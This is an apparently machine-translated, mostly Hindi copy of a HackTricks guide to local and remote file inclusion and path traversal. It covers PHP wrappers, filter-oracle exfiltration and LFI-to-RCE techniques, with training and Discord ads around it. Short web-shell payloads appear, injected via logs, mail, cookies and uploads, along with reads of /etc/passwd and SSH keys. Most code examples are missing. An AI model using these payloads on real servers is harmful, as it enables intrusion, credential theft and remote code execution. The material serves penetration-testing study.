File Inclusion/Path traversal
Last updated
Last updated
सीखें और अभ्यास करें AWS हैकिंग:HackTricks Training AWS Red Team Expert (ARTE) सीखें और अभ्यास करें GCP हैकिंग: HackTricks Training GCP Red Team Expert (GRTE)
HackenProof Discord सर्वर में शामिल हों ताकि अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
हैकिंग अंतर्दृष्टि हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों
वास्तविक समय हैक समाचार वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
नवीनतम घोषणाएँ नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
आज ही Discord पर हमारे साथ शामिल हों और शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
रिमोट फ़ाइल समावेश (RFI): फ़ाइल एक रिमोट सर्वर से लोड की जाती है (सर्वश्रेष्ठ: आप कोड लिख सकते हैं और सर्वर इसे निष्पादित करेगा)। PHP में यह डिफ़ॉल्ट रूप से अक्षम है (allow_url_include)। लोकल फ़ाइल समावेश (LFI): सर्वर एक स्थानीय फ़ाइल लोड करता है।
कमजोरी तब होती है जब उपयोगकर्ता किसी न किसी तरीके से उस फ़ाइल को नियंत्रित कर सकता है जिसे सर्वर द्वारा लोड किया जाने वाला है।
कमजोर PHP फ़ंक्शन: require, require_once, include, include_once
इस कमजोरी का शोषण करने के लिए एक दिलचस्प उपकरण: https://github.com/kurobeats/fimap
कई *nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाई है:
/
को \
में बदलने की कोशिश करें
../../../../../
जोड़ने की भी कोशिश करें
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, यहाँ मिल सकती है
विभिन्न शब्द सूचियों का संयोजन:
/
को \
में बदलने की कोशिश करें
C:/
को हटाने और ../../../../../
जोड़ने की भी कोशिश करें
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, यहाँ मिल सकती है
लिनक्स की LFI सूची की जांच करें।
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इन्हें दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=http://myserver.com/phpshellcode.txt\।
प्रदान किए गए स्ट्रिंग के अंत में अधिक वर्ण जोड़ने को बायपास करें (बायपास: $_GET['param']."php")
यह PHP 5.4 से हल किया गया है
आप डबल URL एन्कोडिंग (और अन्य) जैसी गैर-मानक एन्कोडिंग का उपयोग कर सकते हैं:
शायद बैक-एंड फ़ोल्डर पथ की जांच कर रहा है:
एक सर्वर के फ़ाइल सिस्टम को पुनरावृत्त रूप से खोजा जा सकता है ताकि निर्देशिकाओं की पहचान की जा सके, न कि केवल फ़ाइलों की, कुछ तकनीकों का उपयोग करके। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने के लिए एक विस्तृत विधि नीचे दी गई है:
Determine Directory Depth: अपने वर्तमान निर्देशिका की गहराई का निर्धारण करें /etc/passwd
फ़ाइल को सफलतापूर्वक लाकर (यदि सर्वर Linux-आधारित है)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की गहराई को इंगित करता है:
फोल्डरों के लिए जांचें: संदिग्ध फोल्डर का नाम (जैसे, private
) URL में जोड़ें, फिर /etc/passwd
पर वापस जाएं। अतिरिक्त निर्देशिका स्तर की आवश्यकता होती है कि गहराई को एक से बढ़ाया जाए:
परिणामों की व्याख्या करें: सर्वर की प्रतिक्रिया यह संकेत करती है कि फ़ोल्डर मौजूद है या नहीं:
त्रुटि / कोई आउटपुट नहीं: फ़ोल्डर private
संभवतः निर्दिष्ट स्थान पर मौजूद नहीं है।
/etc/passwd
की सामग्री: private
फ़ोल्डर की उपस्थिति की पुष्टि होती है।
पुनरावृत्त अन्वेषण: खोजे गए फ़ोल्डरों को उपनिर्देशिकाओं या फ़ाइलों के लिए आगे जांचा जा सकता है, उसी तकनीक या पारंपरिक लोकल फ़ाइल समावेशन (LFI) विधियों का उपयोग करके।
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या /var/www/
में एक private
निर्देशिका है (मानते हुए कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
पथ ट्रंकशन एक विधि है जिसका उपयोग वेब अनुप्रयोगों में फ़ाइल पथों को हेरफेर करने के लिए किया जाता है। इसका अक्सर उपयोग प्रतिबंधित फ़ाइलों तक पहुँचने के लिए किया जाता है, जिससे कुछ सुरक्षा उपायों को बायपास किया जा सके जो फ़ाइल पथों के अंत में अतिरिक्त वर्ण जोड़ते हैं। लक्ष्य यह है कि एक फ़ाइल पथ तैयार किया जाए जो, जब सुरक्षा उपाय द्वारा परिवर्तित किया जाए, तब भी इच्छित फ़ाइल की ओर इंगित करे।
PHP में, फ़ाइल पथ के विभिन्न प्रतिनिधित्व फ़ाइल प्रणाली की प्रकृति के कारण समान माने जा सकते हैं। उदाहरण के लिए:
/etc/passwd
, /etc//passwd
, /etc/./passwd
, और /etc/passwd/
सभी को एक ही पथ के रूप में माना जाता है।
जब अंतिम 6 वर्ण passwd
होते हैं, तो /
जोड़ने (जिससे यह passwd/
बनता है) से लक्षित फ़ाइल नहीं बदलती है।
इसी तरह, यदि .php
को फ़ाइल पथ में जोड़ा जाता है (जैसे shellcode.php
), तो अंत में /.
जोड़ने से पहुँचाई जा रही फ़ाइल में कोई परिवर्तन नहीं होगा।
प्रदान किए गए उदाहरण यह दर्शाते हैं कि /etc/passwd
तक पहुँचने के लिए पथ ट्रंकशन का उपयोग कैसे किया जाए, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
इन परिदृश्यों में, आवश्यक ट्रैवर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर भिन्न हो सकती है।
डॉट सेगमेंट और अतिरिक्त वर्णों का उपयोग करना: ट्रैवर्सल अनुक्रम (../
) को अतिरिक्त डॉट सेगमेंट और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, प्रभावी रूप से सर्वर द्वारा जोड़े गए स्ट्रिंग्स की अनदेखी करते हुए।
आवश्यक ट्रैवर्सल की संख्या निर्धारित करना: प्रयास और त्रुटि के माध्यम से, कोई भी ../
अनुक्रमों की सटीक संख्या खोज सकता है जो रूट निर्देशिका में नेविगेट करने और फिर /etc/passwd
तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे .php
) निष्क्रिय हो जाएं लेकिन वांछित पथ (/etc/passwd
) बरकरार रहे।
एक नकली निर्देशिका से शुरू करना: पथ को एक गैर-मौजूद निर्देशिका (जैसे a/
) से शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।
पथ ट्रंकटेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।
यह भेद्यता PHP 5.3 में ठीक की गई थी।
php में यह डिफ़ॉल्ट रूप से बंद है क्योंकि allow_url_include
Off है। इसे काम करने के लिए On होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल शामिल कर सकते हैं और RCE प्राप्त कर सकते हैं:
यदि किसी कारणवश allow_url_include
On है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को filtering कर रहा है, इस पोस्ट के अनुसार, आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 का उपयोग करके b64 PHP कोड को डिकोड किया जा सके और RCE प्राप्त किया जा सके:
पिछले कोड में, अंतिम +.txt
जोड़ा गया था क्योंकि हमलावर को एक ऐसा स्ट्रिंग चाहिए था जो .txt
पर समाप्त होता हो, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह भाग केवल बकवास लौटाएगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)।
एक और उदाहरण php://
प्रोटोकॉल का उपयोग नहीं करने वाला होगा:
पायथन में इस तरह के कोड में:
यदि उपयोगकर्ता file_name
के लिए पूर्ण पथ पास करता है, तो पिछला पथ बस हटा दिया जाता है:
यह दस्तावेज़ों के अनुसार इच्छित व्यवहार है:
यदि एक घटक एक पूर्ण पथ है, तो सभी पिछले घटक हटा दिए जाते हैं और जोड़ना पूर्ण पथ घटक से जारी रहता है।
ऐसा लगता है कि यदि आपके पास जावा में एक पथ यात्रा है और आप एक फ़ाइल के बजाय एक निर्देशिका के लिए पूछते हैं, तो निर्देशिका की एक सूची लौटाई जाती है। यह अन्य भाषाओं में नहीं होगा (मेरी जानकारी के अनुसार)।
यहाँ शीर्ष 25 पैरामीटरों की सूची है जो स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों के लिए संवेदनशील हो सकते हैं (से लिंक):
PHP फ़िल्टर डेटा पर संशोधन संचालन करने की अनुमति देते हैं इससे पहले कि इसे पढ़ा या लिखा जाए। फ़िल्टर की 5 श्रेणियाँ हैं:
string.rot13
string.toupper
string.tolower
string.strip_tags
: डेटा से टैग हटाएँ (सब कुछ "<" और ">" अक्षरों के बीच)
ध्यान दें कि यह फ़िल्टर आधुनिक PHP संस्करणों से गायब हो गया है
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: एक अलग एन्कोडिंग में परिवर्तित करता है(convert.iconv.<input_enc>.<output_enc>
)। सभी समर्थित एन्कोडिंग की सूची प्राप्त करने के लिए कंसोल में चलाएँ: iconv -l
convert.iconv.*
रूपांतरण फ़िल्टर का दुरुपयोग करके आप मनमाना पाठ उत्पन्न कर सकते हैं, जो मनमाना पाठ लिखने या किसी फ़ंक्शन को शामिल करने की प्रक्रिया को मनमाना पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें LFI2RCE via php filters।
zlib.deflate
: सामग्री को संकुचित करें (यदि बहुत सारी जानकारी निकालना हो तो उपयोगी)
zlib.inflate
: डेटा को अनसंकुचित करें
mcrypt.*
: अप्रचलित
mdecrypt.*
: अप्रचलित
अन्य फ़िल्टर
php में चलाकर var_dump(stream_get_filters());
आप कुछ अप्रत्याशित फ़िल्टर पा सकते हैं:
consumed
dechunk
: HTTP चंक्ड एन्कोडिंग को उलटता है
convert.*
भाग "php://filter" केस संवेदनशील नहीं है
इस पोस्ट में एक तकनीक का प्रस्ताव किया गया है जिससे बिना सर्वर से आउटपुट प्राप्त किए एक स्थानीय फ़ाइल पढ़ी जा सके। यह तकनीक php फ़िल्टर का उपयोग करके फ़ाइल का बूलियन एक्सफिल्ट्रेशन (चर द्वारा चर) पर आधारित है। इसका कारण यह है कि php फ़िल्टर का उपयोग एक टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक अपवाद फेंक दे।
मूल पोस्ट में तकनीक का विस्तृत विवरण है, लेकिन यहाँ एक त्वरित सारांश है:
टेक्स्ट के प्रारंभ में अग्रणी वर्ण को छोड़ने और स्ट्रिंग के आकार को तेजी से बढ़ाने के लिए UCS-4LE
कोडेक का उपयोग करें।
इसका उपयोग तब किया जाएगा जब प्रारंभिक अक्षर सही तरीके से अनुमानित किया जाए तो एक इतना बड़ा टेक्स्ट उत्पन्न करने के लिए कि php एक त्रुटि उत्पन्न करेगा।
dechunk फ़िल्टर पहले वर्ण को हटाएगा यदि यह हेक्साडेसिमल नहीं है, इसलिए हम जान सकते हैं कि पहला वर्ण हेक्स है या नहीं।
यह, पिछले वाले के साथ मिलकर (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट के प्रारंभ में एक अक्षर का अनुमान लगाने की अनुमति देगा जब हम पर्याप्त परिवर्तन करते हैं ताकि यह हेक्साडेसिमल वर्ण न हो। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
कोडेक convert.iconv.UNICODE.CP930 हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर a
है या नहीं, उदाहरण के लिए, क्योंकि यदि हम इस कोडेक के 6 बार लागू करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk ने इसे नहीं हटाया और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
प्रारंभ में rot13 जैसे अन्य परिवर्तन का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
जब प्रारंभिक वर्ण एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या को लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
अंतिम समस्या यह है कि कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए। क्रम मेमोरी फ़िल्टर जैसे convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE का उपयोग करके वर्णों के क्रम को बदलना और टेक्स्ट के अन्य अक्षरों को पहले स्थान पर प्राप्त करना संभव है।
और अधिक डेटा प्राप्त करने के लिए विचार यह है कि प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें convert.iconv.UTF16.UTF16 के साथ, इसे UCS-4LE लागू करें ताकि यह अगले 2 बाइट्स के साथ पिवट हो, और जंक डेटा तक डेटा को हटाएं (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते तब तक ऐसा करते रहें।
पोस्ट में इसे स्वचालित रूप से करने के लिए एक उपकरण भी लीक किया गया था: php_filters_chain_oracle_exploit।
यह रैपर उन फ़ाइल डिस्क्रिप्टर्स तक पहुँचने की अनुमति देता है जो प्रक्रिया ने खोले हैं। खोले गए फ़ाइलों की सामग्री को एक्सफिल्ट्रेट करने के लिए संभावित रूप से उपयोगी:
आप php://stdin, php://stdout और php://stderr का उपयोग फाइल डिस्क्रिप्टर्स 0, 1 और 2 तक पहुँचने के लिए कर सकते हैं (यह नहीं पता कि यह हमले में कैसे उपयोगी हो सकता है)
एक PHPShell के साथ एक Zip या Rar फ़ाइल अपलोड करें और इसे एक्सेस करें। rar प्रोटोकॉल का दुरुपयोग करने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए।
ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन allow_url_open
और allow_url_include
द्वारा प्रतिबंधित है।
Expect को सक्रिय करना होगा। आप इसका उपयोग करके कोड निष्पादित कर सकते हैं:
अपने पेलोड को POST पैरामीटर में निर्दिष्ट करें:
एक .phar
फ़ाइल का उपयोग PHP कोड को निष्पादित करने के लिए किया जा सकता है जब एक वेब एप्लिकेशन फ़ाइल लोड करने के लिए include
जैसी फ़ंक्शंस का उपयोग करता है। नीचे दिया गया PHP कोड स्निपेट एक .phar
फ़ाइल बनाने का प्रदर्शन करता है:
.phar
फ़ाइल को संकलित करने के लिए, निम्नलिखित कमांड निष्पादित की जानी चाहिए:
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, or filesize()
, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar
protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
phar:// deserializationIt was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system
.
It was possible to alloc chunks of specific sizes abusing more php filters.
Check more possible protocols to include here:
php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
file:// — स्थानीय फ़ाइल सिस्टम तक पहुँच
http:// — HTTP(s) URLs तक पहुँच
ftp:// — FTP(s) URLs तक पहुँच
zlib:// — संकुचन धाराएँ
glob:// — पैटर्न से मेल खाने वाले पथ नाम खोजें (यह कुछ भी प्रिंट करने योग्य नहीं लौटाता, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
ssh2:// — सुरक्षित शेल 2
ogg:// — ऑडियो धाराएँ (मनमाने फ़ाइलों को पढ़ने के लिए उपयोगी नहीं)
Local File Inclusion (LFI) जोखिम PHP में 'assert' फ़ंक्शन के साथ काफी अधिक होते हैं, जो स्ट्रिंग्स के भीतर कोड को निष्पादित कर सकते हैं। यह विशेष रूप से समस्याग्रस्त है यदि ".." जैसे निर्देशिका ट्रैवर्सल वर्णों वाला इनपुट जांचा जा रहा है लेकिन सही तरीके से साफ नहीं किया गया है।
For example, PHP code might be designed to prevent directory traversal like so:
जबकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में कोड इंजेक्शन के लिए एक वेक्टर बनाता है। फ़ाइल सामग्री पढ़ने के लिए इसका लाभ उठाने के लिए, एक हमलावर उपयोग कर सकता है:
इसी तरह, मनमाने सिस्टम कमांड निष्पादित करने के लिए, कोई निम्नलिखित का उपयोग कर सकता है:
यह महत्वपूर्ण है कि इन पेलोड्स को URL-encode करें।
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए HackenProof Discord सर्वर में शामिल हों!
हैकिंग अंतर्दृष्टि हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ जुड़ें
वास्तविक समय हैक समाचार वास्तविक समय समाचार और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
नवीनतम घोषणाएँ नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
हमसे जुड़ें Discord पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप PHP फ़ंक्शन के फ़ाइल पथ को नियंत्रित करते हैं जो एक फ़ाइल तक पहुँचता है लेकिन आप फ़ाइल की सामग्री नहीं देखेंगे (जैसे file()
का एक साधारण कॉल) लेकिन सामग्री नहीं दिखाई देती।
इस अद्भुत पोस्ट में यह समझाया गया है कि कैसे एक ब्लाइंड पाथ ट्रैवर्सल को PHP फ़िल्टर के माध्यम से एक त्रुटि ओरेकल के माध्यम से फ़ाइल की सामग्री को एक्सफिल्ट्रेट करने के लिए दुरुपयोग किया जा सकता है।
संक्षेप में, तकनीक "UCS-4LE" एन्कोडिंग का उपयोग कर रही है ताकि एक फ़ाइल की सामग्री इतनी बड़ी हो जाए कि फ़ाइल को खोलने वाला PHP फ़ंक्शन एक त्रुटि उत्पन्न करेगा।
फिर, पहले अक्षर को लीक करने के लिए फ़िल्टर dechunk
का उपयोग किया जाता है अन्य फ़िल्टर जैसे base64 या rot13 के साथ और अंततः फ़िल्टर convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग अन्य अक्षरों को शुरुआत में रखने और उन्हें लीक करने के लिए किया जाता है।
संभावित रूप से कमजोर फ़ंक्शन: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (केवल लक्ष्य पढ़ें केवल इसके साथ)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
तकनीकी विवरण के लिए उल्लेखित पोस्ट की जाँच करें!
पहले समझाया गया, इस लिंक का पालन करें.
यदि अपाचे या एनजिनक्स सर्वर LFI के लिए कमजोर है तो आप शामिल फ़ंक्शन के अंदर /var/log/apache2/access.log
या /var/log/nginx/access.log
तक पहुँचने की कोशिश कर सकते हैं, उपयोगकर्ता एजेंट के अंदर या एक GET पैरामीटर के अंदर एक php शेल सेट करें जैसे <?php system($_GET['c']); ?>
और उस फ़ाइल को शामिल करें
ध्यान दें कि यदि आप शेल के लिए डबल कोट्स का उपयोग करते हैं बजाय साधारण कोट्स के, तो डबल कोट्स को "quote;" स्ट्रिंग के लिए संशोधित किया जाएगा, PHP वहाँ एक त्रुटि फेंकेगा और कुछ और निष्पादित नहीं होगा।
इसके अलावा, सुनिश्चित करें कि आप पेलोड को सही ढंग से लिखें अन्यथा PHP हर बार लॉग फ़ाइल को लोड करने की कोशिश करते समय त्रुटि देगा और आपके पास दूसरा अवसर नहीं होगा।
यह अन्य लॉग में भी किया जा सकता है लेकिन सावधान रहें, लॉग के अंदर कोड URL एन्कोडेड हो सकता है और इससे शेल नष्ट हो सकता है। हेडर प्राधिकरण "बेसिक" में "user:password" Base64 में होता है और इसे लॉग के अंदर डिकोड किया जाता है। PHPShell को इस हेडर के अंदर डाला जा सकता है। अन्य संभावित लॉग पथ:
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
एक मेल भेजें एक आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload हो जैसे <?php echo system($_REQUEST["cmd"]); ?>
और उपयोगकर्ता के मेल में शामिल करने की कोशिश करें एक पथ के साथ जैसे /var/mail/<USERNAME>
या /var/spool/mail/<USERNAME>
बहुत सारे शेल अपलोड करें (उदाहरण: 100)
शामिल करें http://example.com/index.php?page=/proc/$PID/fd/$FD, जिसमें $PID = प्रक्रिया का PID (ब्रूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर (यह भी ब्रूट फोर्स किया जा सकता है)
एक लॉग फ़ाइल की तरह, User-Agent में payload भेजें, यह /proc/self/environ फ़ाइल के अंदर परिलक्षित होगा
यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो बस इसमें शेल पेलोड इंजेक्ट करें (जैसे: <?php system($_GET['c']); ?>
).
फाइल को पढ़ने योग्य रखने के लिए, चित्रों/doc/pdf के मेटाडेटा में इंजेक्ट करना सबसे अच्छा है।
एक PHP शेल संकुचित करने वाली ZIP फ़ाइल अपलोड करें और एक्सेस करें:
जांचें कि क्या वेबसाइट PHP सत्र (PHPSESSID) का उपयोग करती है
In PHP ये सत्र /var/lib/php5/sess\[PHPSESSID]_ फ़ाइलों में संग्रहीत होते हैं
Set the cookie to <?php system('cat /etc/passwd');?>
LFI का उपयोग PHP सत्र फ़ाइल को शामिल करने के लिए करें
यदि ssh सक्रिय है तो जांचें कि कौन सा उपयोगकर्ता उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और <HOME>/.ssh/id_rsa तक पहुँचने की कोशिश करें।
FTP सर्वर vsftpd के लिए लॉग /var/log/vsftpd.log पर स्थित हैं। उस परिदृश्य में जहाँ एक स्थानीय फ़ाइल समावेशन (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदमों पर विचार किया जा सकता है:
लॉगिन प्रक्रिया के दौरान उपयोगकर्ता नाम क्षेत्र में एक PHP पेलोड इंजेक्ट करें।
इंजेक्शन के बाद, /var/log/vsftpd.log से सर्वर लॉग प्राप्त करने के लिए LFI का उपयोग करें।
जैसा कि इस लेख में दिखाया गया है, PHP base64 फ़िल्टर केवल Non-base64 को अनदेखा करता है। आप फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए इसका उपयोग कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
यह writeup बताता है कि आप php filters का उपयोग करके मनचाहा सामग्री आउटपुट के रूप में उत्पन्न कर सकते हैं। जिसका मतलब है कि आप मनचाहा php कोड शामिल करने के लिए बिना लिखे इसे एक फ़ाइल में उत्पन्न कर सकते हैं।
LFI2RCE via PHP Filtersएक फ़ाइल अपलोड करें जो /tmp
में अस्थायी के रूप में संग्रहीत होगी, फिर उसी अनुरोध में, एक सेगमेंटेशन फॉल्ट ट्रिगर करें, और फिर अस्थायी फ़ाइल नहीं हटेगी और आप इसके लिए खोज कर सकते हैं।
यदि आपने Local File Inclusion पाया है और Nginx PHP के सामने चल रहा है, तो आप निम्नलिखित तकनीक के साथ RCE प्राप्त कर सकते हैं:
LFI2RCE via Nginx temp filesयदि आपने Local File Inclusion पाया है, भले ही आपके पास कोई सत्र न हो और session.auto_start
Off
हो। यदि आप PHP_SESSION_UPLOAD_PROGRESS
को multipart POST डेटा में प्रदान करते हैं, तो PHP आपके लिए सत्र को सक्षम करेगा। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
यदि आपने Local File Inclusion पाया है और सर्वर Windows में चल रहा है, तो आप RCE प्राप्त कर सकते हैं:
LFI2RCE Via temp file uploadspearcmd.php
+ URL argsजैसा कि इस पोस्ट में बताया गया है, स्क्रिप्ट /usr/local/lib/phppearcmd.php
डिफ़ॉल्ट रूप से php डॉकर छवियों में मौजूद है। इसके अलावा, यह संभव है कि स्क्रिप्ट को URL के माध्यम से तर्क पास किए जाएं क्योंकि यह संकेत दिया गया है कि यदि URL पैरामीटर में =
नहीं है, तो इसे एक तर्क के रूप में उपयोग किया जाना चाहिए।
निम्नलिखित अनुरोध /tmp/hello.php
में सामग्री <?=phpinfo()?>
के साथ एक फ़ाइल बनाता है:
यह एक CRLF कमजोरियों का दुरुपयोग करके RCE प्राप्त करता है (से यहाँ):
यदि आपने Local File Inclusion और एक फ़ाइल पाई है जो phpinfo() को प्रदर्शित करती है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
LFI2RCE via phpinfo()PHP_STREAM_PREFER_STUDIO
+ Path Disclosureयदि आपने Local File Inclusion पाया है और आप temp फ़ाइल का पथ निकाल सकते हैं लेकिन सर्वर जांच रहा है कि शामिल की जाने वाली फ़ाइल में PHP मार्क हैं, तो आप इस Race Condition के साथ उस जांच को बायपास करने की कोशिश कर सकते हैं:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosureयदि आप LFI का दुरुपयोग करके अस्थायी फ़ाइलें अपलोड कर सकते हैं और सर्वर को PHP निष्पादन को लटकाने के लिए मजबूर कर सकते हैं, तो आप तब घंटों तक फ़ाइल नामों का ब्रूट फोर्स कर सकते हैं ताकि अस्थायी फ़ाइल मिल सके:
LFI2RCE via Eternal waitingयदि आप इनमें से कोई भी फ़ाइल शामिल करते हैं /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (आपको उस त्रुटि को फेंकने के लिए एक ही फ़ाइल को 2 बार शामिल करना होगा)।
मुझे नहीं पता कि यह कैसे उपयोगी है लेकिन यह हो सकता है। भले ही आप PHP Fatal Error का कारण बनें, PHP द्वारा अपलोड की गई अस्थायी फ़ाइलें हटा दी जाती हैं।
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)